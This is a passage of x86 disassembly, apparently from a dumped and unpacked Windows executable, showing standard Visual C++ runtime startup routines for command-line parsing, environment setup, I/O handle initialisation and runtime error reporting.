___:00422EA8j mov al, [esi+1] inc esi cmp al, 22h jz short loc_422EAA test al, al jz short loc_422EAA movzx eax, al push eax call sub_424D36 test eax, eax pop ecx jz short loc_422E8D inc esi jmp short loc_422E8D ; --------------------------------------------------------------------------- loc_422EAA: ; CODE XREF: ___:00422E93j ; ___:00422E97j cmp byte ptr [esi], 22h jnz short loc_422EBC loc_422EAF: ; CODE XREF: ___:00422EC4j inc esi jmp short loc_422EBC ; --------------------------------------------------------------------------- loc_422EB2: ; CODE XREF: ___:00422E8Bj cmp al, 20h jbe short loc_422EBC loc_422EB6: ; CODE XREF: ___:00422EBAj inc esi cmp byte ptr [esi], 20h ja short loc_422EB6 loc_422EBC: ; CODE XREF: ___:00422EADj ; ___:00422EB0j ... mov al, [esi] test al, al jz short loc_422EC6 cmp al, 20h jbe short loc_422EAF loc_422EC6: ; CODE XREF: ___:00422EC0j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4DC914, ebx push esi push edi jnz short loc_422EDC call sub_42026D loc_422EDC: ; CODE XREF: ___:00422ED5j mov esi, dword_4DB2E8 xor edi, edi loc_422EE4: ; CODE XREF: ___:00422EFAj mov al, [esi] cmp al, bl jz short loc_422EFC cmp al, 3Dh jz short loc_422EEF inc edi loc_422EEF: ; CODE XREF: ___:00422EECj push esi call sub_41AFE0 pop ecx lea esi, [esi+eax+1] jmp short loc_422EE4 ; --------------------------------------------------------------------------- loc_422EFC: ; CODE XREF: ___:00422EE8j lea eax, ds:4[edi*4] push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov dword_4DB2A0, esi jnz short loc_422F1E push 9 call sub_41DA29 pop ecx loc_422F1E: ; CODE XREF: ___:00422F14j mov edi, dword_4DB2E8 cmp [edi], bl jz short loc_422F61 push ebp loc_422F29: ; CODE XREF: ___:00422F5Ej push edi call sub_41AFE0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_422F5A push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_422F4D push 9 call sub_41DA29 pop ecx loc_422F4D: ; CODE XREF: ___:00422F43j push edi push dword ptr [esi] call sub_41BEB0 pop ecx add esi, 4 pop ecx loc_422F5A: ; CODE XREF: ___:00422F36j add edi, ebp cmp [edi], bl jnz short loc_422F29 pop ebp loc_422F61: ; CODE XREF: ___:00422F26j push dword_4DB2E8 call sub_41B0B1 pop ecx mov dword_4DB2E8, ebx mov [esi], ebx pop edi pop esi mov dword_4DC910, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DC914, ebx push esi push edi jnz short loc_422F9A call sub_42026D loc_422F9A: ; CODE XREF: ___:00422F93j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx nop call near ptr 2660000h mov eax, dword_4DC90C mov off_4DB2B0, esi mov edi, esi cmp [eax], bl jz short loc_422FBF mov edi, eax loc_422FBF: ; CODE XREF: ___:00422FBBj lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_42301C mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_41B4D5 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_422FEF push 8 call sub_41DA29 pop ecx loc_422FEF: ; CODE XREF: ___:00422FE5j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_42301C mov eax, [ebp-4] add esp, 14h dec eax mov dword_4DB298, esi pop edi pop esi mov dword_4DB294, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42301C proc near ; CODE XREF: ___:00422FCAp ; ___:00423000p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_423046 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423046: ; CODE XREF: sub_42301C+20j cmp byte ptr [eax], 22h jnz short loc_42308F loc_42304B: ; CODE XREF: sub_42301C+58j ; sub_42301C+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_42307D test dl, dl jz short loc_42307D movzx edx, dl test byte_4DC7E1[edx], 4 jz short loc_423070 inc dword ptr [ecx] test esi, esi jz short loc_423070 mov dl, [eax] mov [esi], dl inc esi inc eax loc_423070: ; CODE XREF: sub_42301C+46j ; sub_42301C+4Cj inc dword ptr [ecx] test esi, esi jz short loc_42304B mov dl, [eax] mov [esi], dl inc esi jmp short loc_42304B ; --------------------------------------------------------------------------- loc_42307D: ; CODE XREF: sub_42301C+36j ; sub_42301C+3Aj inc dword ptr [ecx] test esi, esi jz short loc_423087 and byte ptr [esi], 0 inc esi loc_423087: ; CODE XREF: sub_42301C+65j cmp byte ptr [eax], 22h jnz short loc_4230D2 inc eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_42308F: ; CODE XREF: sub_42301C+2Dj ; sub_42301C+A5j inc dword ptr [ecx] test esi, esi jz short loc_42309A mov dl, [eax] mov [esi], dl inc esi loc_42309A: ; CODE XREF: sub_42301C+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DC7E1[ebx], 4 jz short loc_4230B5 inc dword ptr [ecx] test esi, esi jz short loc_4230B4 mov bl, [eax] mov [esi], bl inc esi loc_4230B4: ; CODE XREF: sub_42301C+91j inc eax loc_4230B5: ; CODE XREF: sub_42301C+8Bj cmp dl, 20h jz short loc_4230C3 test dl, dl jz short loc_4230C7 cmp dl, 9 jnz short loc_42308F loc_4230C3: ; CODE XREF: sub_42301C+9Cj test dl, dl jnz short loc_4230CA loc_4230C7: ; CODE XREF: sub_42301C+A0j dec eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_4230CA: ; CODE XREF: sub_42301C+A9j test esi, esi jz short loc_4230D2 and byte ptr [esi-1], 0 loc_4230D2: ; CODE XREF: sub_42301C+6Ej ; sub_42301C+71j ... and [ebp+arg_10], 0 loc_4230D6: ; CODE XREF: sub_42301C+19Ej cmp byte ptr [eax], 0 jz loc_4231BF loc_4230DF: ; CODE XREF: sub_42301C+D0j mov dl, [eax] cmp dl, 20h jz short loc_4230EB cmp dl, 9 jnz short loc_4230EE loc_4230EB: ; CODE XREF: sub_42301C+C8j inc eax jmp short loc_4230DF ; --------------------------------------------------------------------------- loc_4230EE: ; CODE XREF: sub_42301C+CDj cmp byte ptr [eax], 0 jz loc_4231BF test edi, edi jz short loc_423103 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423103: ; CODE XREF: sub_42301C+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_423108: ; CODE XREF: sub_42301C+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_423111: ; CODE XREF: sub_42301C+FCj cmp byte ptr [eax], 5Ch jnz short loc_42311A inc eax inc ebx jmp short loc_423111 ; --------------------------------------------------------------------------- loc_42311A: ; CODE XREF: sub_42301C+F8j cmp byte ptr [eax], 22h jnz short loc_42314B test bl, 1 jnz short loc_423149 xor edi, edi cmp [ebp+arg_10], edi jz short loc_423138 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423138 mov eax, edx jmp short loc_42313B ; --------------------------------------------------------------------------- loc_423138: ; CODE XREF: sub_42301C+10Dj ; sub_42301C+116j mov [ebp+arg_0], edi loc_42313B: ; CODE XREF: sub_42301C+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423149: ; CODE XREF: sub_42301C+106j shr ebx, 1 loc_42314B: ; CODE XREF: sub_42301C+101j mov edx, ebx dec ebx test edx, edx jz short loc_423160 inc ebx loc_423153: ; CODE XREF: sub_42301C+142j test esi, esi jz short loc_42315B mov byte ptr [esi], 5Ch inc esi loc_42315B: ; CODE XREF: sub_42301C+139j inc dword ptr [ecx] dec ebx jnz short loc_423153 loc_423160: ; CODE XREF: sub_42301C+134j mov dl, [eax] test dl, dl jz short loc_4231B0 cmp [ebp+arg_10], 0 jnz short loc_423176 cmp dl, 20h jz short loc_4231B0 cmp dl, 9 jz short loc_4231B0 loc_423176: ; CODE XREF: sub_42301C+14Ej cmp [ebp+arg_0], 0 jz short loc_4231AA test esi, esi jz short loc_423199 movzx ebx, dl test byte_4DC7E1[ebx], 4 jz short loc_423192 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_423192: ; CODE XREF: sub_42301C+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4231A8 ; --------------------------------------------------------------------------- loc_423199: ; CODE XREF: sub_42301C+162j movzx edx, dl test byte_4DC7E1[edx], 4 jz short loc_4231A8 inc eax inc dword ptr [ecx] loc_4231A8: ; CODE XREF: sub_42301C+17Bj ; sub_42301C+187j inc dword ptr [ecx] loc_4231AA: ; CODE XREF: sub_42301C+15Ej inc eax jmp loc_423108 ; --------------------------------------------------------------------------- loc_4231B0: ; CODE XREF: sub_42301C+148j ; sub_42301C+153j ... test esi, esi jz short loc_4231B8 and byte ptr [esi], 0 inc esi loc_4231B8: ; CODE XREF: sub_42301C+196j inc dword ptr [ecx] jmp loc_4230D6 ; --------------------------------------------------------------------------- loc_4231BF: ; CODE XREF: sub_42301C+BDj ; sub_42301C+D5j test edi, edi jz short loc_4231C6 and dword ptr [edi], 0 loc_4231C6: ; CODE XREF: sub_42301C+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_42301C endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4DB458 push ebx push ebp mov ebp, dword_42703C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_42321E call ebp mov esi, eax cmp esi, ebx jz short loc_4231FF mov dword_4DB458, 1 jmp short loc_423227 ; --------------------------------------------------------------------------- loc_4231FF: ; CODE XREF: ___:004231F1j nop call near ptr 2610B17h mov edi, eax cmp edi, ebx jz loc_4232F9 mov dword_4DB458, 2 jmp loc_4232AD ; --------------------------------------------------------------------------- loc_42321E: ; CODE XREF: ___:004231E9j cmp eax, 1 jnz loc_4232A8 loc_423227: ; CODE XREF: ___:004231FDj cmp esi, ebx jnz short loc_423237 call ebp mov esi, eax cmp esi, ebx jz loc_4232F9 loc_423237: ; CODE XREF: ___:00423229j cmp [esi], bx mov eax, esi jz short loc_42324C loc_42323E: ; CODE XREF: ___:00423243j ; ___:0042324Aj inc eax inc eax cmp [eax], bx jnz short loc_42323E inc eax inc eax cmp [eax], bx jnz short loc_42323E loc_42324C: ; CODE XREF: ___:0042323Cj sub eax, esi mov edi, dword_42717C sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_42329D push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_42329D push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_423299 push dword ptr [esp+10h] call sub_41B0B1 pop ecx mov [esp+10h], ebx loc_423299: ; CODE XREF: ___:00423289j mov ebx, [esp+10h] loc_42329D: ; CODE XREF: ___:00423269j ; ___:00423278j push esi nop call near ptr 2610D94h mov eax, ebx jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232A8: ; CODE XREF: ___:00423221j cmp eax, 2 jnz short loc_4232F9 loc_4232AD: ; CODE XREF: ___:00423219j cmp edi, ebx jnz short loc_4232BD nop call near ptr 2610B17h mov edi, eax cmp edi, ebx jz short loc_4232F9 loc_4232BD: ; CODE XREF: ___:004232AFj cmp [edi], bl mov eax, edi jz short loc_4232CD loc_4232C3: ; CODE XREF: ___:004232C6j ; ___:004232CBj inc eax cmp [eax], bl jnz short loc_4232C3 inc eax cmp [eax], bl jnz short loc_4232C3 loc_4232CD: ; CODE XREF: ___:004232C1j sub eax, edi inc eax mov ebp, eax push ebp call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4232E3 xor esi, esi jmp short loc_4232EE ; --------------------------------------------------------------------------- loc_4232E3: ; CODE XREF: ___:004232DDj push ebp push edi push esi call sub_41C310 add esp, 0Ch loc_4232EE: ; CODE XREF: ___:004232E1j push edi nop call near ptr 2610DDAh mov eax, esi jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232F9: ; CODE XREF: ___:00423209j ; ___:00423231j ... xor eax, eax loc_4232FB: ; CODE XREF: ___:004232A6j ; ___:004232F7j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_423322 push 1Bh call sub_41DA29 pop ecx loc_423322: ; CODE XREF: ___:00423318j mov dword_4DC5C0, esi mov dword_4DC6C0, 20h lea eax, [esi+100h] loc_423338: ; CODE XREF: ___:00423354j cmp esi, eax jnb short loc_423356 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DC5C0 add esi, 8 add eax, 100h jmp short loc_423338 ; --------------------------------------------------------------------------- loc_423356: ; CODE XREF: ___:0042333Aj lea eax, [esp+10h] push eax nop call near ptr 2870000h cmp word ptr [esp+42h], 0 jz loc_423432 mov eax, [esp+44h] test eax, eax jz loc_423432 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_42338C mov esi, eax loc_42338C: ; CODE XREF: ___:00423388j cmp dword_4DC6C0, esi jge short loc_4233E6 mov edi, offset dword_4DC5C4 loc_423399: ; CODE XREF: ___:004233DCj push 100h call sub_41B4D5 test eax, eax pop ecx jz short loc_4233E0 add dword_4DC6C0, 20h mov [edi], eax lea ecx, [eax+100h] loc_4233B7: ; CODE XREF: ___:004233D1j cmp eax, ecx jnb short loc_4233D3 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_4233B7 ; --------------------------------------------------------------------------- loc_4233D3: ; CODE XREF: ___:004233B9j add edi, 4 cmp dword_4DC6C0, esi jl short loc_423399 jmp short loc_4233E6 ; --------------------------------------------------------------------------- loc_4233E0: ; CODE XREF: ___:004233A6j mov esi, dword_4DC6C0 loc_4233E6: ; CODE XREF: ___:00423392j ; ___:004233DEj xor edi, edi test esi, esi jle short loc_423432 loc_4233EC: ; CODE XREF: ___:00423430j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423429 mov cl, [ebp+0] test cl, 1 jz short loc_423429 test cl, 8 jnz short loc_42340B push eax nop call near ptr 2610000h test eax, eax jz short loc_423429 loc_42340B: ; CODE XREF: ___:004233FEj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DC5C0[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423429: ; CODE XREF: ___:004233F1j ; ___:004233F9j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_4233EC loc_423432: ; CODE XREF: ___:00423367j ; ___:00423373j ... xor ebx, ebx loc_423434: ; CODE XREF: ___:00423497j mov eax, dword_4DC5C0 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_42348F test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_42344F push 0FFFFFFF6h pop eax jmp short loc_423459 ; --------------------------------------------------------------------------- loc_42344F: ; CODE XREF: ___:00423448j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_423459: ; CODE XREF: ___:0042344Dj push eax nop call near ptr 26107BEh mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_42347E push edi nop call near ptr 2610000h test eax, eax jz short loc_42347E and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_423484 loc_42347E: ; CODE XREF: ___:00423465j ; ___:00423470j or byte ptr [esi+4], 40h jmp short loc_423493 ; --------------------------------------------------------------------------- loc_423484: ; CODE XREF: ___:0042347Cj cmp eax, 3 jnz short loc_423493 or byte ptr [esi+4], 8 jmp short loc_423493 ; --------------------------------------------------------------------------- loc_42348F: ; CODE XREF: ___:00423440j or byte ptr [esi+4], 80h loc_423493: ; CODE XREF: ___:00423482j ; ___:00423487j ... inc ebx cmp ebx, 3 jl short loc_423434 push dword_4DC6C0 nop call near ptr 2610A21h pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234B8 proc near ; DATA XREF: sub_42205D+Ao ; sub_42218C+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423558 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4234EB: ; CODE XREF: sub_4234B8+90j cmp esi, 0FFFFFFFFh jz short loc_423551 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_42353F push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_42353F js short loc_42354A mov edi, [ebx+8] push ebx call sub_41CB74 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41CBB6 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41CC4A mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_42353F: ; CODE XREF: sub_4234B8+40j ; sub_4234B8+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4234EB ; --------------------------------------------------------------------------- loc_42354A: ; CODE XREF: sub_4234B8+54j mov eax, 0 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423551: ; CODE XREF: sub_4234B8+36j mov eax, 1 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423558: ; CODE XREF: sub_4234B8+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41CBB6 add esp, 8 pop ebp mov eax, 1 loc_42356D: ; CODE XREF: sub_4234B8+97j ; sub_4234B8+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4234B8 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41CBB6 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423590 proc near ; CODE XREF: sub_41DA29+9p mov eax, dword_4DB2F0 cmp eax, 1 jz short loc_4235A7 test eax, eax jnz short locret_4235C8 cmp dword_43A2C4, 1 jnz short locret_4235C8 loc_4235A7: ; CODE XREF: sub_423590+8j push 0FCh call sub_4235C9 mov eax, dword_4DB45C pop ecx test eax, eax jz short loc_4235BD call eax loc_4235BD: ; CODE XREF: sub_423590+29j push 0FFh call sub_4235C9 pop ecx locret_4235C8: ; CODE XREF: sub_423590+Cj ; sub_423590+15j retn sub_423590 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4235C9 proc near ; CODE XREF: sub_41DA29+12p ; sub_423590+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43C958 loc_4235DC: ; CODE XREF: sub_4235C9+20j cmp edx, [eax] jz short loc_4235EB add eax, 8 inc ecx cmp eax, offset off_43C9E8 jl short loc_4235DC loc_4235EB: ; CODE XREF: sub_4235C9+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43C958[esi] jnz loc_423719 mov eax, dword_4DB2F0 cmp eax, 1 jz loc_4236F3 test eax, eax jnz short loc_42361C cmp dword_43A2C4, 1 jz loc_4236F3 loc_42361C: ; CODE XREF: sub_4235C9+44j cmp edx, 0FCh jz loc_423719 lea eax, [ebp+var_1A4] push 104h push eax push 0 call near ptr 2660000h nop test eax, eax jnz short loc_423653 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41BEB0 pop ecx pop ecx loc_423653: ; CODE XREF: sub_4235C9+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41AFE0 inc eax pop ecx cmp eax, 3Ch jbe short loc_423696 lea eax, [ebp+var_1A4] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41B5F0 add esp, 10h loc_423696: ; CODE XREF: sub_4235C9+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41BEB0 lea eax, [ebp+var_A0] push edi push eax call sub_41BEC0 lea eax, [ebp+var_A0] push offset asc_427C10 ; "\n\n" push eax call sub_41BEC0 push off_43C95C[esi] lea eax, [ebp+var_A0] push eax call sub_41BEC0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_424D78 add esp, 2Ch pop edi jmp short loc_423719 ; --------------------------------------------------------------------------- loc_4236F3: ; CODE XREF: sub_4235C9+3Cj ; sub_4235C9+4Dj lea eax, [ebp+arg_0] lea esi, off_43C95C[esi] push 0 push eax push dword ptr [esi] call sub_41AFE0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h nop call near ptr 26107BEh push eax nop call near ptr 26E0000h loc_423719: ; CODE XREF: sub_4235C9+2Ej ; sub_4235C9+59j ... pop esi leave retn sub_4235C9 endp ; =============== S U B R O U T I N E ======================================= sub_42371C proc near ; CODE XREF: sub_423A33:loc_423BABp push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DC5C0 loc_42372B: ; CODE XREF: sub_42371C+48j mov eax, [ecx] test eax, eax jz short loc_423768 lea edx, [eax+100h] loc_423737: ; CODE XREF: sub_42371C+28j cmp eax, edx jnb short loc_423757 test byte ptr [eax+4], 1 jz short loc_423746 add eax, 8 jmp short loc_423737 ; --------------------------------------------------------------------------- loc_423746: ; CODE XREF: sub_42371C+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4237AB loc_423757: ; CODE XREF: sub_42371C+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DC6C0 jl short loc_42372B jmp short loc_4237AB ; --------------------------------------------------------------------------- loc_423768: ; CODE XREF: sub_42371C+13j mov esi, 100h push esi call sub_41B4D5 test eax, eax pop ecx jz short loc_4237AB add dword_4DC6C0, 20h lea ecx, ds:4DC5C0h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_42378E: ; CODE XREF: sub_42371C+88j cmp eax, edx jnb short loc_4237A6 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_42378E ; --------------------------------------------------------------------------- loc_4237A6: ; CODE XREF: sub_42371C+74j shl edi, 5 mov ebx, edi loc_4237AB: ; CODE XREF: sub_42371C+39j ; sub_42371C+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_42371C endp ; =============== S U B R O U T I N E ======================================= sub_4237B1 proc near ; CODE XREF: sub_423A33+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DC6C0 push edi jnb short loc_423811 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DC5C0h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_423811 cmp dword_43A2C4, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_423807 sub eax, 0 jz short loc_4237FE dec eax jz short loc_4237F9 dec eax jnz short loc_423807 push ebx push 0FFFFFFF4h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237F9: ; CODE XREF: sub_4237B1+3Ej push ebx push 0FFFFFFF5h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237FE: ; CODE XREF: sub_4237B1+3Bj push ebx push 0FFFFFFF6h loc_423801: ; CODE XREF: sub_4237B1+46j ; sub_4237B1+4Bj nop call near ptr 2600D1Dh loc_423807: ; CODE XREF: sub_4237B1+36j ; sub_4237B1+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_423825 ; --------------------------------------------------------------------------- loc_423811: ; CODE XREF: sub_4237B1+Cj ; sub_4237B1+28j and dword_4DB27C, 0 mov dword_4DB278, 9 or eax, 0FFFFFFFFh loc_423825: ; CODE XREF: sub_4237B1+5Ej pop edi pop esi retn sub_4237B1 endp ; =============== S U B R O U T I N E ======================================= sub_423828 proc near ; CODE XREF: sub_41DA72+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DC6C0 push edi jnb short loc_42388B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_42388B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_42388B cmp dword_43A2C4, 1 jnz short loc_423881 xor eax, eax sub ecx, eax jz short loc_423878 dec ecx jz short loc_423873 dec ecx jnz short loc_423881 push eax push 0FFFFFFF4h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423873: ; CODE XREF: sub_423828+41j push eax push 0FFFFFFF5h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423878: ; CODE XREF: sub_423828+3Ej push eax push 0FFFFFFF6h loc_42387B: ; CODE XREF: sub_423828+49j ; sub_423828+4Ej nop call near ptr 2600D1Dh loc_423881: ; CODE XREF: sub_423828+38j ; sub_423828+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_42389F ; --------------------------------------------------------------------------- loc_42388B: ; CODE XREF: sub_423828+Cj ; sub_423828+2Aj ... and dword_4DB27C, 0 mov dword_4DB278, 9 or eax, 0FFFFFFFFh loc_42389F: ; CODE XREF: sub_423828+61j pop edi pop esi retn sub_423828 endp ; =============== S U B R O U T I N E ======================================= sub_4238A2 proc near ; CODE XREF: sub_41DA72+32p ; sub_41DA72+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC6C0 jnb short loc_4238CA mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC5C0[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4238CA mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4238CA: ; CODE XREF: sub_4238A2+Aj ; sub_4238A2+23j and dword_4DB27C, 0 mov dword_4DB278, 9 or eax, 0FFFFFFFFh retn sub_4238A2 endp ; =============== S U B R O U T I N E ======================================= sub_4238DF proc near ; CODE XREF: sub_41DB50+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC6C0 jnb short loc_423928 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DC5C0[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_423928 push eax call sub_4238A2 pop ecx push eax call near ptr 2600766h nop test eax, eax jnz short loc_42391D nop call near ptr 2680000h jmp short loc_42391F ; --------------------------------------------------------------------------- loc_42391D: ; CODE XREF: sub_4238DF+34j xor eax, eax loc_42391F: ; CODE XREF: sub_4238DF+3Cj test eax, eax jz short locret_423935 mov dword_4DB27C, eax loc_423928: ; CODE XREF: sub_4238DF+Aj ; sub_4238DF+22j mov dword_4DB278, 9 or eax, 0FFFFFFFFh locret_423935: ; CODE XREF: sub_4238DF+42j retn sub_4238DF endp ; =============== S U B R O U T I N E ======================================= sub_423936 proc near ; DATA XREF: ___:00429024o mov eax, dword_4DC5A0 push esi push 14h test eax, eax pop esi jnz short loc_42394A mov eax, 200h jmp short loc_423950 ; --------------------------------------------------------------------------- loc_42394A: ; CODE XREF: sub_423936+Bj cmp eax, esi jge short loc_423955 mov eax, esi loc_423950: ; CODE XREF: sub_423936+12j mov dword_4DC5A0, eax loc_423955: ; CODE XREF: sub_423936+16j push 4 push eax call sub_424E01 pop ecx mov dword_4DB598, eax test eax, eax pop ecx jnz short loc_423989 push 4 push esi mov dword_4DC5A0, esi call sub_424E01 pop ecx mov dword_4DB598, eax test eax, eax pop ecx jnz short loc_423989 push 1Ah call sub_41DA29 pop ecx loc_423989: ; CODE XREF: sub_423936+30j ; sub_423936+49j xor ecx, ecx mov eax, offset 